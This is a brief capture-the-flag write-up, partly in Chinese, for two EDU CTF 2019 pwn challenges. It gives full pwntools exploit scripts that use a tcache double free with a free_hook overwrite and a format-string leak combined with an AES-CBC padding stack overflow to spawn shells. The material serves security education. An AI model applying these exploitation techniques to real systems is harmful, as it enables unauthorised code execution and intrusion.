EDU CTF 2019

There were only two challenges with pwn on the first day.So I just solve these two challenges with platform closed now.

0x01 babe_challenge

tcache double free->leak heap->make unsorted chunk->leak libc->overwrite free hook->get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context.log_level='debug'
def add(index,size,note):
p.sendlineafter("> ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)

def delete(index):
p.sendlineafter("> ","3")
p.sendlineafter(": ",str(index))
p=remote("edu-ctf.zoolab.org",7122)
add(0,0x68,"kirin")
add(1,0x68,"kirin")
delete(0)
delete(1)
add(0,0x68,"a")
p.sendlineafter("> ","2")
p.sendlineafter(": ","0")
s=p.recv(6).ljust(8,"\x00")
heap_addr=u64(s)
print hex(heap_addr)
add(0,0x68,"kirin")
for i in range(0x18):
add(1,0x68,"kirin")
delete(0)
delete(0)
add(0,0x68,p64((heap_addr&0xffffffffffffffff00)+0x50+0x70)+p64(0)*2+p64(0x51)+p64(0)*7+p64(0x4e1))
add(0,0x68,"kirin")
add(0,0x68,p64(0)+p64(0x71))
delete(0)
add(0,0x68,"1")
p.sendlineafter("> ","2")
p.sendlineafter(": ","0")
s=p.recv(6).ljust(8,"\x00")
libc_addr=(u64(s)&0xffffffffffffff00)+0x7fcdb6ca6000-0x7fcdb7092000
print hex(libc_addr)
add(0,0x68,"/bin/sh\x00")
add(1,0x78,"kirin")
delete(1)
delete(1)
add(1,0x78,p64(libc_addr+0x3ed8e8))
add(1,0x78,"kirin")
add(1,0x78,p64(libc_addr+0x4f440))
#gdb.attach(p)
p.interactive()

0x02 encrypted_secret

程序流程:
输入name->格式化字符串漏洞,可以获得canary,libc addr,stack addr,aes_key,aes_cbc模式下初始向量iv
加密secret->AES加密,CBC模式->在padding时存在问题,当输入长度为0x10倍数时:

1
2
3
v3 = 16 - (num & 0xF);
for ( i = 0; i < v3; ++i )
*(_BYTE *)(buf + (unsigned int)(i + num)) = v3;

会在secret后加上16 bytes “\x10”造成栈溢出,可以覆盖掉rbp,在main函数返回时劫持程序流来getshell
此时便需要让明文加密后最后一个block为任意值,甚至任意block为任意值,请教了Lilac学长飞神,最后改好了exp(飞神无敌):
cbc模式:
AES_CBC

  • 最后一块Ciphertext已知为canary+fake_rbp->得到xor(Ciphertext,Plaintext)
  • 最后一块Plaintext=”\x10”*16->得到Ciphertext[-1]->得到xor(Ciphertext[-2],Plaintext[-1])
  • 所以前0x70字节为任意Plaintext,得到Ciphertext[-2]->得到Plaintext[-1]->拼接即为最终构造的明文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from Crypto.Cipher import AES

context.log_level='debug'
def xor(a,b):
s=""
for i in range(len(a)):
s+=chr(ord(a[i])^ord(b[i]))
return s
def encrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.encrypt(message)

def decrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.decrypt(message)

def encrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.encrypt(message)

def decrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.decrypt(message)

p=process("encrypted_secret")
payload1="%10$s%15$llx%17$llx%19$llxaaaaaa"+p64(0x603030)
p.sendlineafter(": ",payload1)
p.recvuntil("Hi ")
key1=p.recv(16)
key2=p.recv(16)
canary=""
s=p.recv(16)
libc_addr=int(p.recv(12),16)-0x21b97
stack_addr=int(p.recv(12),16)
for i in range(8):
canary+=chr(int(s[14-2*i:16-2*i],16))
print key1.encode("hex")
print key2.encode("hex")
print hex(u64(canary))
print hex(libc_addr)
print hex(stack_addr)
one_gadget=libc_addr+0x4f2c5
fake_rbp=stack_addr-0x1c8
code0=canary+"a"*8+p64(one_gadget)+p64(0)
code1=canary+p64(fake_rbp)
plaintext0=decrypt(code0)
plaintext1=plaintext0+"a"*0x50
ciphertext=xor(decrypt2(code1),"\x10"*16)
plaintext2=xor(decrypt2(ciphertext),encrypt(plaintext1)[-16:])
last_code=plaintext1+plaintext2
#gdb.attach(p)
p.sendlineafter("!\n",last_code)
p.interactive()